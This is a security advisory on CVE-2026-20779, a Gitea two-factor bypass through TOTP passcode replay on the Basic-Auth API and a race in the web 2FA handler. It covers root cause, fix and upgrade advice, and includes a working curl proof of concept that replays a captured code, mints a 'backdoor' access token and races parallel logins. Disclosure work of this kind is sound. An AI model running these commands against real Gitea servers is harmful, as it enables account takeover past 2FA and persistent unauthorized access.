CVE-2026-20779: Gitea TOTP Passcode Capture-Replay via Basic-Auth and TOCTOU Race
Gitea's two-factor authentication can be bypassed by replaying a captured one-time password: the Basic-Auth API surface never marked a passcode as used, and the web login handler had a race that let t
The problem
Gitea 1.5.0 through 1.26.2 has two distinct TOTP single-use enforcement failures. On the Basic-Auth API and Git-over-HTTPS paths, `services/auth/basic.go` called `twofa.ValidateTOTP()` for the `X-Gitea-OTP` header but never read or wrote `LastUsedPasscode`. Any captured six-digit code worked repeatedly for the full RFC 6238 skew window (~60-90 s), on every request, with no race required.
On the web 2FA login and password-reset flows, the read-validate-check-update sequence against the `two_factor` row was not atomic. Two parallel POSTs with the same passcode each loaded a stale in-memory copy where `LastUsedPasscode` still held the prior value, both passed the inequality check, and both received independent authenticated sessions from a single OTP.
Proof of concept
A working proof-of-concept for CVE-2026-20779 in code.gitea.io/gitea, with the exact payload below.
# Defect 2: Basic-Auth stateless replay (no race needed)
# Attacker has captured alice's password and one live TOTP code.
# Within the RFC 6238 acceptance window (~60-90 s), repeat as desired:
curl -u "alice:<known-password>" \
-H "X-Gitea-OTP: 654321" \
https://gitea.example.com/api/v1/user
# -> 200 OK on every call; LastUsedPasscode is never checked on this path.
# Mint a persistent access token before the time-step rolls:
curl -u "alice:<known-password>" \
-H "X-Gitea-OTP: 654321" \
-X POST \
-H "Content-Type: application/json" \
-d '{"name":"backdoor"}' \
https://gitea.example.com/api/v1/users/alice/tokens
# -> returns a PAT that outlives the captured OTP.
# Defect 1: Web 2FA TOCTOU race (parallel curl)
# Step 1 - complete password phase, capture session cookie.
curl -c jar.txt -b jar.txt \
-d 'user_name=alice&password=<known>' \
https://gitea.example.com/user/login
# Step 2 - fire two identical POSTs in parallel with the captured passcode.
PASS=654321
( curl -sS -c jar1.txt -b jar.txt -X POST \
-d "passcode=${PASS}" \
https://gitea.example.com/user/two_factor & )
( curl -sS -c jar2.txt -b jar.txt -X POST \
-d "passcode=${PASS}" \
https://gitea.example.com/user/two_factor & )
wait
# Step 3 - both cookie jars now hold independent authenticated sessions.
curl -b jar1.txt https://gitea.example.com/user/settings # 200
curl -b jar2.txt https://gitea.example.com/user/settings # 200Defect 2 is the cleaner of the two. The `validateTOTP` function in `services/auth/basic.go` called `twofa.ValidateTOTP(req.Header.Get("X-Gitea-OTP"))` and returned nil on success, with no code that read or wrote `LastUsedPasscode`. This is a direct RFC 6238 section 5.2 violation: the spec requires a server to reject a time-step value it has already seen, but Gitea simply skipped that check entirely on this path.
Defect 1 is a CWE-367 TOCTOU: the web handler did have an inequality check (`twofa.LastUsedPasscode != form.Passcode`), but the SELECT and UPDATE were not wrapped in a transaction or row lock, and the UPDATE had no `WHERE last_used_passcode = <previous>` predicate.
Two goroutines racing between the SELECT and UPDATE each saw the old value and both passed the check.
The fix in 1.26.3 (PR #38151, commit 99f8b3d) added the `LastUsedPasscode` read-compare-write logic to `services/auth/basic.go` and replaced the bare UPDATE in the web handlers with an atomic compare-and-swap style update, so a second use of the same passcode always loses the DB race and is rejected.
The fix
Upgrade to Gitea 1.26.4 (skip 1.26.3, which has an unrelated code-page regression). The fix enforces single-use TOTP passcodes across all three surfaces: web 2FA login (`POST /user/two_factor`), password-reset 2FA re-auth, and the Basic-Auth `X-Gitea-OTP` API path.
PR #38151 / commit 99f8b3d9a1d32f4c39828e07971455a18191e0b9.
Reported by Kript0r3x.
Related research
- high · 7.5CVE-2026-58419CVE-2026-58419: Gitea Notification API Private Issue Metadata Leak After Access Revocation
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream
- high · 8.8CVE-2026-27775CVE-2026-27775: Gitea Pre-Receive Hook Authorization Bypass via Cached Branch Permission